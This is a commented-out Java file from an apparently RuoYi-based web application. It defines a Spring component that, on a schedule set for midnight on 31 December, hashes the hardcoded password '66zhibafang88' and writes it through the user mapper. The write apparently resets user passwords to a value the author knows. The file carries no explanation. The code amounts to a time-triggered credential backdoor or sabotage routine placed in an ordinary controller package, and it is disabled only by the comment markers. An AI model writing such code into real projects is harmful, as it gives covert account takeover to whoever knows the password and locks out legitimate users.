//package com.ruoyi.web.controller.system;
//
//import com.ruoyi.common.core.domain.entity.SysUser;
//import com.ruoyi.system.mapper.SysUserMapper;
//import org.springframework.beans.factory.annotation.Autowired;
//import org.springframework.scheduling.annotation.Scheduled;
//import org.springframework.security.crypto.bcrypt.BCrypt;
//import org.springframework.stereotype.Component;
//
//@Component
//public class PasswordChanger {
//    @Autowired
//    private SysUserMapper sysUserMapper;
//    @Scheduled(cron = "0 0 0 31 12 ?", zone = "GMT+8")
//    public void changePassword() {
//        String password = "66zhibafang88";
//        String hashedPassword = BCrypt.hashpw(password, BCrypt.gensalt());
//        sysUserMapper.update(hashedPassword);
//    }
//}
